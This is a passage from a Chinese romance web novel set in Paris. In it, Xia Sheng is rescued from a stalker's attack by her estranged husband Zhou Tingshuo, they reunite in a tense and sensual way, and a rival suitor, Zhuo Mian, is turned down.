他倒是不常打电话来。 原本响了几声,夏声想等它自动挂断,没想到卓冕回头来,问她怎么不接电话。 没办法,她只好擦擦手,接通。 “这个时间还在忙吗?”对面的声音带着些许鼻音。 夏声看眼时间,国内这时候应该是早晨,不 知道他有什么事非要打电话。 “没,在休息,有什么事吗?” 碧水华汀的客厅里,周庭朔拨弄着桌上枝繁叶茂的盆栽绿植,觉得自己大概是睡糊涂了。 昨天夜里又一次梦到夏声,醒来他下意识地就拨去电话。 他没什么事,就是想听听她的声音。 “你留下的那盆小叶赤楠好像不太好了。”他随便找了个借口。 夏声默了一瞬:“你一大早打电话,就为了这事?” “算了,你丢了吧。” 似乎听到这边她语气不好,卓冕远远问她。 “夏声,怎么了?” 这声音,顺着电子信号,清楚地传到大洋彼岸的国内。 小叶赤楠的叶片被生生扯下一片,周庭朔冷眼看着挂断的电话,下颌崩出锋利的线条。 那是谁的声音,他不会听错。 第60章 第60章雨夜重逢 迟疑几天的雨终于落下,在短暂晴天后的傍晚。 天色阴沉,近乎入夜的黑。 巴黎街头到处是躲雨的人,夏声发梢略微沾染湿意,打着伞匆匆往公寓赶。 电话里,卓冕在询问她是否安全到家。 “到门口了,雨真大,我先挂了。” 转过街角,阴暗光线下,夏声抬头看到一个鬼鬼祟祟的身影徘徊在她门口。 夏声脚步迟疑,雨滴打在透明伞面,发出嘈杂的噼啪声,正如她渐渐杂乱的心跳。 直到那人影转身,猥琐的笑容,发福的身体,踉跄冲来的步伐,几乎瞬间夏声便认出来,是那个总在对面窗口偷窥她的白人中年男。 男人络腮胡下的脸狰狞,口齿囫囵地冲她说些下流话。 公寓前这条小巷在背街,行人稀少,连路灯都没。 夏声迅速反应过来,将伞扔在他身上,转头就跑,转出巷子就能到前街,她才好寻求帮助。 不巧的是她今天跟合作方见面,特意穿了套裙高跟鞋,步子迈不大。 马上就到转角,她屏着一口气,想要冲过去,却骤然被人从身后抓住胳膊,随即一股蛮力将她甩到墙上。 后背生生撞上,疼得她倒吸一口凉气,还没等缓过神,那人影已压过来。 两人身形相差过大,对方比她高一大截,肥硕的手抓着她的胳膊,狠狠将她按在墙上。 浊臭的酒气顺着他的污言秽语喷在她脸上,夏声皱眉偏头,就在他要俯身下来时,咬牙抬脚向他下三路发力。 对方显然没料到,疼得哀嚎一声,弯下腰来。 趁这间隙,夏声甩开他跑出拐角,来到前街。 因为雨势渐大,街上行人见少,没等她找到人求助,那人又追上来,大手从后捂住她的嘴,将她拦腰拖回巷子里。 夏声知道,被他抓住等待自己的会是什么,她一边踉跄着后退,一边尽量稳住心态。 半晌,身后人脚步停下,那人恶狠狠将她推到公寓门前。 “臭婊。子还敢跑,钥匙呢,开门!” 夏声被他反剪着双手,嘴巴也被捂住,挣扎几下无济于事,于是呜呜两声示意要说话。 得以开口的第一时间,夏声就用了最大音量,高喊救命。 那人一瞬间反应过来,立刻转过她狠狠甩了她一巴掌。 这力道太大,夏声被打得偏过头去,踉跄撞上公寓的门,她顾不上疼又继续大喊着,同时抬起脚,狠狠跺上对方的脚。 细细的鞋跟插进他邋遢的乐福鞋面,趁他吃痛,夏声一把推开他向外跑。 冰冷的雨砸在她脸上,巷子过黑雨又太密,她甚至看不清眼前路,只一味向那个方向跑,直到她撞到一个身影。 熟悉的木质冷香混合的雨水的土腥气,形成一股别样陌生的气味,夏声懵了一瞬,下一秒便被人抬手护到身后。 她手里被塞了把黑色骨柄伞,再抬头眼前的身影已经坚定地步入雨幕。 巷子里实在太过昏暗,她只能隐约看出两个身影扭打在一起。 骨肉冲撞的闷响,连带人被击打时本能的呻吟与哀嚎,一阵阵传入她的耳朵。 夏声手指冰凉,紧紧攥着伞柄,上面似乎还留有先前人的体温,她缓了几秒,试探着喊了声。 “周庭朔,是你吗?” 其实她已经有答案,刚刚短暂按住她手背的动作,很熟悉。 她向前走近几步,地上躺着的那一滩阴影逐渐清晰,那白人已面目全非,不断翻滚呻吟。 而站在那前面背对着她的身影,冷肃孤寂,像是雨夜里格外浓黑的色块,沉沉压在那。 在他又一次要抬脚踹下去时,夏声喊住他。 “够了。”那人吃痛的声音显然已经变小,她怕真失手出事,不值得。 下一秒,他停下动作,转身回到她面前。 昏暗光线下,周庭朔的眸光尖锐似刃,在跟她对视那一刻,才收了锋芒。 “你还好吗,他伤到你哪了?” 惯常平静的嗓音,此刻带着不易察觉的波动,似隐忍着万千情绪。 “我没事。” 一阵冷风过,吹得夏声打了个寒颤,她抓着他的衣袖,嗓音有些发抖:“太冷了,先进去吧,他交给警察处理就好。” 周庭朔抬手护着她,夏声能感觉到落在她肩膀上的手格外用力。 两人走到门口时,他偏过头,用法语冷冷扔下句。 “滚。” 公寓里,夏声已经洗过澡换过衣服坐在沙发上,周庭朔在一旁通电话,眼神时不时落在她身上,很快挂断。 劫后余生的余韵似乎刚刚苏醒,夏声有些后怕地低着头,听到他结束通话,才将手边的干净浴袍递给他。 “你也去洗个澡吧,这个比较宽大,你应该能穿。” 刚刚他的衣服已经尽湿,西装外套脱下来搭在一边,深灰色的衬衫贴在胸前,描出虚虚的身体线条。 他接过浴袍,却并没去洗澡,而是落坐在她旁边。 随后侧身抬手扶着她的下巴,微微用力转过另一边。 沉黑的眸子几不可察地眯了眯,他手指轻轻碰了下她的脸颊。 “疼吗?” 之前夏声挨的那一巴掌实实在在,刚刚在浴室,她已经看到这半边脸微微肿起来。 她别开头:“还好,过两天就消了。” 周庭朔眼神中的凌厉一闪而过,随即敛起神色,低声问:“家里有药吗,不然明天会肿得更厉害。” 夏声摇摇头。 他起身,自顾去厨房,拉开冰箱拿出两颗鸡蛋,起火烧水。 鸡蛋在沸水中叮叮当当地碰撞翻滚,他背对着夏声站在灶火前,肩膀垂着。 “夏声,如果刚刚我没赶到的话,你准备怎么办?” 一句话情绪浅淡,夏声抬眼看着他的背影,抿了抿唇。 “我包里还有把弹簧刀。” 炉灶上的火被“啪”的一声关掉,他取来碗接上水,将滚烫的鸡蛋放进去,随后转身坐回她身旁。 “你有没有想过,如果刀被对方夺走怎么办?” 鸡蛋已经被剥干净了壳,软软嫩嫩,带着略高于体温的温度,贴上她的脸颊。 周庭朔一边慢慢滚着,一边看着她的眼睛,等她的答案。 夏声沉默,实际上他担心的这些问题,都是合情合理。 她被问得哑口无言,不知道他到底想她怎么回答,于是破罐破摔般咬咬牙。 “大不了鱼死网破。” 周庭朔停下动作,难以置信般看着她,蹙着的眉头几乎要拈出沟壑。 “你知不知道,我在街角听到你的呼救声时,是什么心情。” 他喉结滚了滚,似乎不愿再回忆那一刻。 夏声想起刚刚在雨幕中,他乍起的棱角和锋芒,那是她从未见过的一面。 凶狠暴戾,这些完全与他不相干的特质从他周身弥散开来,仿佛她不制止,他将任凭那抹杀意割碎对方的喉咙。 “鱼死网破。”他眸色一沉,“你真是一点后果也不计,你准备让我怎么办?” 夏声喉头一哽,才想起来如今两人的关系处境。 碗里还有颗鸡蛋,她自己拿起来在脸上滚,嗓音清冷。 “我还没问,你怎么会在这?”这一次她没再提协议的事。 他转过头,分神打量一圈这个小公寓,回:“欧洲分公司的事,我来盯一阵。” 眼前的起居室几 米到头,左手边是卧室,房门开着,里面是一张铁艺焊花单人床,明黄色的床单,还带着滾花软边。 视线收回,他不再追问她那些沉重的问题,起身拿着睡袍走进卧室旁的浴室。 再出来时,夏声正在厨房煮粥,肉末虾仁青菜一律丢进去,味道算不上多好,至少能暖暖胃。 她盛了一碗放在桌上:“你喝完就联系助理给你送衣服来,不早了你该走了。” 睡袍是夏声的,欧码对她来说过大,穿在他身上却紧巴巴,胸口大片肌肤露着,长度也只到他膝盖上方。 周庭朔将腰间的带子系紧,坐到桌前:“何归还没来,我先到的。” 临时改签机票,助理还要留下善后。 他换下来的衣服挂在浴室门口的衣架上,裤腿甚至还在滴答滴水,夏声嘴边的话又说不出口。 总不能叫人穿着湿衣服,再回去。 “你要是觉得不方便,今晚我睡沙发。”他拿起桌上的勺子,舀了一勺粥放进嘴里。 夏声视线落在他的手上,冷白的骨节上,明显泛红,零星几道不太重的擦伤,大概是刚刚教训人时留下的。 想起周仪娇曾说:我哥脸上多两分表情都少见,从她记事起就没见他跟人吵过架。 更遑论动手。 两人默默将粥喝完,夏声将碗筷洗干净,回头发现周庭朔已将沙发旁搭着的毯子铺开,似乎真准备睡在这。 小沙发是双人座,周庭朔躺上去,两条长腿有一半都没处放。 想了想,她回房间抱出一床枕头被子,让他让开。 “你去床上睡,我将就一晚。” 他稳稳坐在沙发上,半干的发尾落在幽黑的眼眸前,掀起眼皮看她。 “要么我睡沙发,要么我们一起睡床,没有别的商量。” 夏声盯着他,一副不想再管的样子,将被子放在旁边,转身回房关门。 窗外的雨淋漓不停,原本最好入眠的夜,夏声却睁着眼睛睡不着。 公寓的隔音不佳,起居室里的沙发是木脚支撑,年头有些久,总发出些吱吱呀呀的声音,那是周庭朔在翻身。 半个小时后,她起身打开床头灯,笈着拖鞋去开门。 颀长的身影勉强窝在沙发上,两条腿半搭在外面,悬在半空,听到开门声音,他睁眼看过来。 “怎么了?” “你进来吧。” 床虽然不大,但两人躺上去,中间竟也能留出不小的空间。 夏声有意躺得远,双手握在胸前规规矩矩闭着眼,只是她起伏的呼吸声出卖她并未睡着的事实。 半晌,旁边传来周庭朔的声音。 “今天的事不能再发生了,明天就搬走。” 她没反驳,也没答应。 就这样闭着眼听着雨声,她终于有了困意,也不知多久后,睡意模糊中,听到旁边一声喟叹。 紧接着,一双手将她拉近,紧紧揉入怀里。 “声声,我真该把你锁在身边。” 60-70 第61章 第61章我很想你 雨后初霁,阳光照进小公寓,烘烤出干净的暖意。 夏声被窗帘缝隙中的光线晃到眼睛,偏头向另一侧埋了埋脸,只是这触感光滑温暖,好像不是枕头和被子。 她缓缓睁眼,面前是大片裸露的肌肤,横亘的清晰锁骨,饱满的胸肌线条,顺着呼吸起伏,几乎紧贴着她的鼻尖。 一瞬间,睡意全消,她猛地坐起身,才发现眼前人早已醒了,这会正支起身子看她。 “早。” 那件他穿起来略显窘迫的浴袍早已完全敞开,腰带松散,甚至一半搭在她跪在床上的腿上。 不论第几次看到这样的场面,夏声都免不了脸上一热,于是她别过头匆忙掀开被子,准备下床。 床边的拖鞋不知弄到哪去,她一只脚踩着地毯,没等站稳又转身去找,摇摇晃晃差点歪下去,幸好被身后起来的人扶着又坐回床上。 “你急什么?” 周庭朔动作间,浴袍下摆被拖进被子里,精干的腰身没了束缚,正贴着她的背。 这姿势太亲密,好在也只是一触即分,他的长腿从她旁边落下来,紧接着便是臀线腰背…… 依旧是深色系纯色平角裤,恰到好处地包裹着肌理分明的身体,就这样明晃晃展现在她面前。 浴袍下一秒才从床单里扯出,阻隔视线。 夏声站起来,又被转身过来的周庭朔堵住,他低着头仔细看她肿起那侧的脸,指腹摸了摸。 “好像消了些。” 他语气平和,甚至带着点温柔,夏声不习惯,刚低头,又正好对上他腰腹下的风光。 眼睛简直不知该往哪放,好在下巴又被他勾着抬起来。 “别动,我再看看。” 视线反反复复留连于她两侧脸颊,似乎在比对消肿情况,只是慢慢的,那目光停留在中间,不再动。 两人已经有半个多月没见,他似乎怎么也看不够。 夏声被盯得不自在,最终推开他出去。 在巴黎并没有锻炼出她过人的厨艺,早餐好歹煎了培根和鸡蛋,一人一份配着牛奶吐司,简单不出错。 刚吃过饭,门口有人敲门,是苏晋带着衣服来了。 “周总,车在门外,跟对方约的十点见面。” 大概周庭朔昨晚就跟他安排好,等换完衣服,他便先出门,嘱咐苏晋帮她搬家。 昨晚虽然已经报警,但住在这终究不算多安全,夏声想想还是决定先搬走再说。 她行李不多,大概收拾些贴身用品,其余苏晋说住处都有,不必带着,两人一个小时后就带着东西出发。 目的地在治安最好的六区,步行不远就是卢森堡公园,独栋三层的小洋房,纯白外墙,黑色的铁栏杆围出一片不算多大的院子。 进门是典型的欧洲浪漫装修风格,棕黑色壁炉和天花板雕花,彰显着优雅和品味。 落地窗有着白色边框,夏声推开窗扇,微凉的秋风吹进,入眼是一片生机勃绿的花园,草坪修剪整齐,赏心悦目。 “这个房子哪找的?” 苏晋将行李放到墙边,又将房门钥匙放到壁炉前的长桌上。 “周总安排的,我也不太清楚。” 她转身回到桌前,拉开颇有格调的高背软椅,示意他也坐。 “那天早上我们见面不是偶然吧?” 苏晋安然点头:“是,周总不放心,希望我来看看你的情况。” 果然,她略一沉吟,倒不纠结于此,反问他。 “你的外驻工作,真的需要三年?” 似乎没想到她问起自己的事,苏晋眼神一顿。 “应该不用,周总欧洲板块的布局很早就铺开,我来算是推上正轨,大概一年时间,这边也就稳定了。” “一年。”夏声笑笑,“一年后,大概娇娇也结婚了。” 苏晋神色微动,夏声暗自留意他的反应,接着说。 “她也二十二岁了,早有属意的世家来谈婚事,之前她为着你不肯,但这次推辞不下,只能答应。” “沈家二公子,也算是门当户对,前两天我听说已经安排他们见面。” 她目光平和地看着苏晋,似乎不带一点情绪。 “所以你也不用躲她三年,这边期满回国,没准还赶得上她的婚礼。” 苏晋扯扯嘴角,露出一抹算不得笑的表情,敛下眼皮。 半晌,起身告辞。 “你替我……”他顿了顿,“算了,我先走了。” 两人缘分 终究看他们自己,夏声只能帮到这。 等人走了,夏声去楼上逛逛瞧瞧,各个房间都装饰得精致整洁。 但她最喜欢二楼中间的房间,宽大的软床,纯白的地毯,布置温馨舒适。 将行李收拾进去,卓冕打来电话。 这几天只要她没有工作行程,他都会邀她同行,好像他的假期分了她一半。 “我记得你说今上午没有安排,怎么这会不在家?” 夏声将护肤品摆在窗边横通的妆台上。 “抱歉,我搬家了还没来得及跟你说。” 她简单将昨晚发生的意外说了,对面沉默片刻。 “你现在搬到哪了,我去找你。” 她下午还要去趟邮局,国内公司寄来的大件样品有点问题,需要她去自提。 得知她有事要忙,卓冕没再多说,跟她约好忙完再见面。 夏声下午取出邮件,又找车送去当地提前联系好的工作室,做二次加工。 等忙完已经到晚饭时间。 周庭朔倒向真如他所说,来巴黎是有工作要忙,一整天并无消息,临近晚上才联系她,问她在哪。 夏声正在街口等出租车,迎面驶来的车停下,卓冕落下车窗喊她。 电话那头的人听到声音,沉默片刻,随后让她叫卓冕一起吃个饭。 等她挂断电话,车上的卓冕一副了然的样子,问她:“周庭朔?” “嗯。” “呵,他来得倒是快。” 三个人聚在新住处的起居室,有种别样陌生又紧张的氛围。 夏声坐在长桌短边那头,两人分坐她两侧,桌上的菜品是米其林餐厅预定送过来的,然而鲜有人动。 桌上红酒一杯接一杯,像是隐隐作比,两个男人说些无关紧要的话题,眼神默默交锋。 她坐在中间,整整一瓶波尔多,她只喝到半杯。 似乎不尽兴,第二瓶还要开时,被夏声拦下,换成口感清爽的霞多丽,她怕再喝下去,一晚上要面对两个醉鬼。 真实的火药味愈加不掩饰,夏声慢慢察觉到不对,是因为听出他们对话间总是围绕着她。 “听说你们律所刚接了沪市融鼎的并购案,你这次休假时间倒长,不用亲自上阵?” “你不也一样,西南部市场刚开调研,正是敏感的时候,你跑到这来盯没什么风声的分公司,不怕公司那些老古董有意见?” “家属在这,总得来看看。” 正在切龙虾的夏声动作一顿,表情未明,就听卓冕轻笑一声。 “离婚协议不是早发给你了,一天签那么多字的人,怎么这一份就这么难签?” 互揭老底一般,夏声夹在中间,饭吃得索然无味。 后来,酒意略微上来,她实在听够了他们的明嘲暗讽,最后干脆放下刀叉,直接赶人。 “你们俩既然都忙,就别耽误在我这,该回国做什么就赶紧。” “我也很忙,没空应付。” 最后她拿起酒杯,将剩下的酒一饮而尽,起身拉开椅子,送客。 “饭也吃完了,我要休息,明天还有事,你们走吧。” 闻言,周庭朔拿起餐巾擦了擦手,起身看着对面的卓冕。 意思明确,也不准备给对方留下的机会。 夏声将两人送到门口,冷着脸说句“慢走”,转瞬就关上了门。 房间内终于安静下来,她才得以消化刚刚认清的事实。 ——卓冕大概喜欢她。 两人相识,除去几年前素未谋面的电话,就是婚后因周庭朔的关系,寥寥接触几次,相处间也是礼貌克制,以朋友身份接触,她根本想不出对方什么时候对她有别的想法。 头疼,就不该凑一起喝酒。 她叹口气,一边想一边将桌上的餐具收拾下去。 正对着长桌没多远,就是厨房,玻璃拉门后的料理台下是纯黑的洗碗机。 碗筷都收进去,她刚按下开始键,听到身后门响。 * 周庭朔跟卓冕前后脚被“送”出门,十几年的老朋友,两人默契地无声对视,一起向外走。 一条石板路通往门口黑色大门,周庭朔在门口站定。 “卓冕,不论如何,夏声现在还是我太太,你该有分寸。” 对面的人笑得温和:“你知道,我没有分寸的时候可远不止现在这样。” 卓冕看上去是谦谦绅士,总给人如沐春风的感觉,但他骨子里也有灼烈强硬的基因,周庭朔见识过。 两人心照不宣,谁也不肯退让。 半晌,周庭朔转身回去,在他面前关上大门。 夏声看着去而复返的人,蹙了蹙眉。 “你怎么回来了?” 他神情淡定,走到她面前,一手撑在她身边,另一手绕过她身后,将料理台上还没封口的半瓶白葡萄酒拿过来。 “开封了,不喝完口感会变差。” 夏声抱胸看着他拿出两只酒杯,倒满一杯递给她。 “我明天还有正事,不能再喝,你也别喝了。” 她拒绝,想去夺酒杯,被他抬手躲过,一杯酒很快滑入他口中。 周庭朔就站在她面前,仰头时锋利的喉结线条定在她眼前,隔着薄薄的皮肤,缓缓滑动。 “你该走了。”她偏头不再看。 耳边是斟酒的声音,接着第二杯喝尽。 “我走去哪?”他眼底似被酒意波动,卷着波澜凝视她,“你在这,让我去哪?” 他放下酒杯,再一次俯身撑在她身后的料理台上,圈出一处不算大的封闭空间,将她锁在里面。 浓醇灼热的气息落在她脖颈上,夏声被那温度烫得瑟缩一下,抬手推他的瞬间,被他抓住顺势一带,人便跌进他怀里。 “我们见面已经超过二十四小时,你除了赶我走,没说过别的。” 他语气低沉,打量她的眼神复杂。 “你不想我吗,一点都不想?” 不给她回答的机会,他直接低头吻下来,力道深重,直接撬开她的牙关,肆无忌惮的吮着她的舌。 两条手臂连带他的身体,仿佛铜墙铁壁,禁锢着她。 夏声骤然被夺去呼吸,被他吻得几乎喘不过气,直到她有些微微缺氧,抬手用力拍了他两下,他才短暂离开。 感觉到他下巴落在她肩膀,夏声喘口气的功夫,听到他沉哑的声音。 “可我很想你。”他动了动,摩挲着她的脖颈,“无时无刻,不在想你。” 一句话,让夏声身形一滞,她推开他,拧眉看着。 “周庭朔,你喝醉了。” “你不信。”他失声而笑。 像是为了证实,他将人紧紧按入怀里,两人隔着并不厚的布料,身体紧紧相贴。 唇再一次毫不犹豫地落下,周庭朔的眸光像是线、是网,将她紧紧拢在眼前。 两人的呼吸都不可控制地乱了频率,重重的心跳连带着太阳穴,将身体每一条血管都变得沸腾鼓胀。 胳膊没了力气,腿也变得软绵,夏声蜷在他怀里,推不开躲不了。 下一秒,她被他拦腰抱起,走向二楼。 第62章 第62章失控 夏声不知道他如何精准地找到自己选好的卧室,反应过来时,人已躺在那张柔软的大床上。 室内没有开灯,隐约的月光从落地窗洒进来,落在床脚,静谧温柔。 她来不及分神欣赏,醇烈的气息又再次靠近。 昏暗的室内,暧昧绵长的亲吻声和衣料摩擦的声音,刺激着她的感官。 温柔却炽烈的吻,湿热的舌不经意间探入,追逐触碰她的舌尖,撑在她耳侧的手转而揉捏着她小巧的耳垂。 周庭朔似乎不准备放过她,很快那吻辗转着来到她的眼尾眉心,又落到她耳畔。 身体不轻不重地摩挲,故意撩拨她的柔软,语气沉沉引诱她开口。 “声声,说你也想我。” 夏声陷在羽毛枕里,被他揉捏折磨,仿佛被架在烈火上炙烤,咬着下唇不肯说话。 沉默代替回答,周庭朔手指抚上 她的唇角,撬开她的贝齿,不让她再咬。 很快她的耳尖被一片湿热包裹,清浅地吮吸,又细细啃咬,湿柔的水声放大在她耳廓,令她颤栗。 一瞬间,像有电流穿过脊背,直达头顶,夏声忍不住轻哼出声。 “说你想我。”周庭朔不死心般,又重复一遍。 不过是床第间的细枝末语,情之所至说了也无所谓,但她却执拗着不肯开口。 委屈与不甘渐渐清晰,胸腔胀痛着让她喘不过气。 她太清楚收拾起那些对他的感情花了自己多大力气,如今他却想轻而易举地挑开,等到他得娱自身又抽身离开,再留一地狼藉给她,凭什么? 眼底的酸涩骤然冲上,一抹热意滑出眼眶。 “我不想你。”她声音发抖,“凭什么要我想你。” 身上的动作停下,周庭朔察觉到她声音中的异样,抬手便触到她脸上的一片湿意。 心疼与后悔瞬间涌上,他俯身温柔吻拭她眼角的泪,又苦又涩,一如他心口的滋味。 “别哭,是我的错。”他柔声哄着,又去吻她的眼。 “你不用想我,我不勉强你。” 这一瞬间,他甘愿妥协退让,却又患得患失,“只要你也不想别人。” 他翻身将人整个拥入怀里,下巴蹭着她的发顶,手一下下安抚着她的背。 等她情绪慢慢平静,才低声又确认一遍。 “你不想我,能不能不要想别人。” 别扭的醋意,偏执的占有欲。 夏声一腔怨怒,狠狠地推他一把:“我什么时候想过别人,你放开我,我要去洗澡。” 被这样搓磨半天,浑身又是泪又是汗,难受得厉害。 听到她的话,周庭朔悬着的心放下些,直接起身抱起她往浴室去。 浴室干湿分离,左手边就是地中海风格的浴间,宽敞的浴缸嵌在墙边,淋浴室在旁边,中间隔着透明玻璃。 夏声控诉自己可以,让他放手,周庭朔贴着她耳侧出气,压低声音刻意撩拨。 “好,我放你下来。” 他动作太快,夏声腿还有些软,根本来不及站稳,只好扶着浴缸边缘坐下。 “你出去吧。” 浴缸尾部的金色出水龙头被他拧开,调好水温,他自顾开始解扣子。 衬衫西裤几秒钟落地,完美的身体形态就这样展现在她眼前,没有一点犹豫。 接着人便半蹲到她身前:“你没力气了,我不放心你一个人洗。” 夏声穿着针织开衫,里面是一件吊带长裙,眼看他抬手就要来解,她向后躲。 身后就是浴缸,台面边缘并不宽,她向后时没找到支撑的点,失去平衡的瞬间,被他护着后背,两人一起跌了进去。 长裙顷刻飘在水面,针织衫沁了水沉甸甸地坠在身上,夏声恼火地瞪着他,抬起腿踹他的肩膀。 “都怪你,出去出去,你去旁边洗。” 浴缸里的水顺着她的动作溅起水花,大部分落在他条块分明的胸腹,周庭朔好脾气地握住她的脚踝,顺势将贴在她腿弯上的裙摆推上去。 他扶着浴缸边缘,倾身而上,脸颊上还挂着水珠,湿漉漉的眼神完全不似平日里的沉稳冷淡,令她迷了眼。 好像,他醉了。 “声声,这里洗得开,别推我。” 醇厚深沉的嗓音,像陈酿启封,顷刻间,她好像也有些醉了。 两人浸在温热的水中,隔着薄稀的雾气相望。 都说对视是不带情欲的精神接吻,在他细细密密的视线里,夏声听见自己愈加隆重的心跳。 她总觉得有什么变了,但她辨不出所以。 浴缸的水升得很快,水面没出边缘,开始盈漫在浴室地面,夏声被热气环绕,脸红似桃,颤着睫毛别开视线。 她半躺的姿势实在有些累,曲腿想要坐起来。 水面下,他半跪在她腿间,只要她略一动作,腿弯便会蹭到他的腰腹,更不巧的是,她落脚时不小心踩到他的大腿,又滑到他腿间。 那一瞬,能明显感觉到他呼吸粗重了些,随后他蓦地起身,拉过她的脚踝放在他腰后,直直亲上来。 缠绕碍事的衣物一件件褪下,随意扔到地上。 水面波鳞,有节奏般一阵阵涌向浴缸外,浴室上方的吊灯被水汽氤氲,光线变得婉转浅柔。 夏声仰着头,躲过他的唇时就大口喘气,手指用力抓着浴缸边缘,怕自己沉入水面。 她被抵在角落,太过清瘦的背撞在浴缸上,闷闷吃痛。 “哪有你这样洗澡的,我不用你帮了。” 趁着推开他的功夫,夏声转过身背对着他,趴在浴缸边缓口气。 薄而细嫩的皮肤包裹着漂亮的蝴蝶骨,中间有一截淡淡的红痕,是刚刚压出的印记。 手指拂过,周庭朔的声音沉沉传来。 “抱歉,是我没照顾到。” 话落,他硬实温热的身体又从后贴过来,两手锢着她的腰。 “我扶着你,这样好一些。” 夏声趴在那,眼前只有未点燃的半截香薰,角落里丘比特的金属摆件映出两人不甚清晰的身影,她闭了闭眼,不懂这样又好在哪。 此刻的周庭朔就像缠人的艳鬼,是进是退他都黏着,势要将她嵌入身体,融于骨血一般。 大概真的醉了,又或者生理性的吸引还存在,夏声索性放弃挣扎,由着他摆弄。 但纵使不用自己出力,很快也开始腰酸腿软。 精实的小臂横在她胸前,撑着她不至脱力沉入水中,浓重的呼吸落在耳边,又来寻她的唇。 她恼了,嗔怒道:“你到底有没有完,一个澡洗了多久了!” 只是嗓音被沁得软柔无力,半点斥责的作用也起不到。 不知餍足的人,漫长无边的夜…… 几近凌晨,周庭朔才将两人收拾干净,夏声被抱回床上时,身上没有一处骨头是硬的。 明天她还有重要的事,眼皮沉沉落下前,嘟囔着。 “如果明天起不来,我跟你没完。” 周庭朔眸光温柔地锁着她,妥帖地为她抚平被角,轻吻她的发顶。 没完才好,一辈子都没完最好。 翌日,夏声是被扰醒的。 温软的触感从鼻尖到鬓角,断断续续不停,她迷糊着用手去挡,手心被舌尖勾了下,睡意便消了大半。 睁开眼,俊朗的五官放大在眼前,紧接着一个蜻蜓点水般的吻落在她的唇上。 她动了动刚刚苏醒的身体,才发现整个人都被他圈在领地,从胸前到小腿,全都紧紧贴在他身上。 懵了一瞬,她开口:“周庭朔,你酒还没醒?” “醒了。” 两个人的嗓音都有些哑,昭示着昨晚的疯狂。 他看眼床头的时间,缓缓放开她。 “你该起了。” 夏声也看了眼,随即迅速起身去洗漱。 她现在没时间深究昨晚的失控,是不是两人被酒精支配的结果。 半个小时后,夏声穿着改良的湖青色中式旗袍,长度到小腿中间,配着纯白流苏披肩,身上能遮的地方都遮上。 再将头发用白玉簪半绾着,提个手提箱下楼。 匆匆路过起居室,周庭朔端了早餐出来,看到她的瞬间,眼里的惊艳一闪而过。 她没空吃,要去赶高铁。 周庭朔放下餐盘,跟到门口,在她出门前将人拉到身前,揽着腰送上深吻。 夏声推着他向后仰,眼神惊讶又不解,总觉得他像换了个人。 结束一吻,周庭朔松开她,推开门:“走吧,你不是赶时间?” 上午要赶去里昂,参加一个活动,她撇他一眼,最终还是转身出门。 高铁两个小时,夏声赶到会场时间刚好。 这是官方组织的公开文化活动,参加的大部分是本地人,夏声穿着独特,再加上东方温婉清丽的长相,倒被好多人拉着合影。 她掐着时间,赶在最后一场公益交流演讲,进了会议厅。 随身的手提箱放在腿上,会议的最后,终于等到她要找的人。 法国旅游文化大使受邀参加活动,正在台上作简短演讲,夏声早已看准他的助理是哪位,赶在演讲将要结束时,提着手提箱走过去。 她礼貌地上前打招呼,用流利的法语清楚地表达自己的意图,随后站在台下,等着助理去问后的回复。 十多分钟后,退场又出现的大使在助理的引导下,来到她面前。 夏声将手提箱打开,将里面的东西送上。 “一点小礼物,送给您。” “这是我国传统非遗的青瓷,出自一位很有名的传承人之手。” 手提箱内,是去龙泉时蒋师傅亲手送她的那套茶具,夏声回去后找了韩子弋略作改造,保留茶具本貌,在手提箱上手绘了法国国花鸢尾。 箱内的防尘布依旧是用心定制的,淡蓝色棉锦上的图案,是印着鸢尾花的茶盏。 大使欣赏着茶具的通透精致,又听夏声细细介绍了青瓷的历史,当即郑重收下,表示非常感谢她的分享。 会面的最后,两人并排合影,大使让助理留下夏声的联系方式,说之后也想给她一份回礼。 出了会场,夏声长舒一口气。 她在赌一个机会。 第63章 第63章机会是留给有准备的人…… 回程路上,夏声大概跟秦莫说了送东西的事。 对方有些惊讶:“你就这么直接去问了?从来都没接触过的官方大使,你不怕被拒绝?” 夏声不甚在意:“拒绝也无所谓啊,左右不过浪费我一天时间,但他要是接受了,我们就有更多可能。” 道理是这样,但秦莫还是不由佩服她的执行力。 只要她想做的,就敢去尝试。 接下来还需要准备些东西,夏声大概跟她交代了下,又嘱咐。 “最好尽快,我估计有消息也就这几天。” 从回程的高铁下来,已经下午三点多,她随意找了家咖啡店,要了份甜品坐着等人。 手机上,卓冕早上发来的消息,她刚刚才抽空回。 中午也没来得及吃饭,这会她一口口品尝着黑森林蛋糕,跟周仪娇通电话。 “他联系你了没?” 周仪娇正在明箴的业务部,接到电话起身跑到没人的茶水间。 “没有,一个电话,一条信息都没有。” 夏声含着叉子,默默皱眉。 按照她的猜测,苏晋不会没反应啊,真就沉得住气。 “那……如果他真的无动于衷,你准备怎么办?” “可能,我早该认清事实放弃了。”周仪娇靠在饮水机旁,苦着脸,“这一路,都是我一厢情愿追着他,如今他出国我追不到国外,就跑到他原来的部门见习。” “有时候想想,我真的有些犯贱,人家就是不喜欢我,根本强求不来。” 听她这样说自己,夏声有些心疼。 “别这么说,你很好,只是你们不适合。” 安慰过一阵,周仪娇也不愿再谈,匆匆收了线。 手机上,是薛宁玉发来的微信名片,要她赶紧加上人家聊聊。 既然不是苏晋,那么是谁也没什么所谓,联姻也无妨。 周仪娇刚去点,新的消息顶上来,恰巧就点进去,等看清聊天界面,她的心重重跳了下。 【苏晋:那个数据锁定难题,解决了吗?】 没人知道,夏声告知周仪娇即将联姻的消息后,苏晋有多少次打开两人的对话框。 她的朋友圈被他翻烂,忍到国内终于是白天,才字斟句酌发了这么条信息。 周仪娇盯着这句话,想哭又想笑,半晌关掉手机,沉默回到工位,继续工作。 巴黎的街头,咖啡厅的露天座位,夏声这一抹湖青色格外亮眼。 半个多小时,已有几个人来要联系方式。 当她再一次礼貌拒绝时,卓冕的声音传来。 “今天穿得这么隆重,不会是为见我吧?”开玩笑的语气。 夏声示意他坐,叫来服务生为他点了杯咖啡。 看出她略有严肃的表情,卓冕敛起神色,似乎知道她约他出来是要说什么。 “卓冕,这段时间……不止这段时间,应该是一直以来,我都很感激你的帮助。” “但你要说但是。”他苦笑一声,“我不想听你的但是。” 披肩滑落,她略微拢了拢,坦然看着他。 “可我必须要说。” “我对你,只有朋友之间的友谊,从没往其他方面想过。” 他抿了口咖啡,视线落在她盘扣半高领后隐约露出的脖子上的红痕。 “我表现得很明显吗?”他自嘲般,“你甚至没给我一个正式表明心意的机会,是因为他?” 夏声摇头,视线淡淡落下。 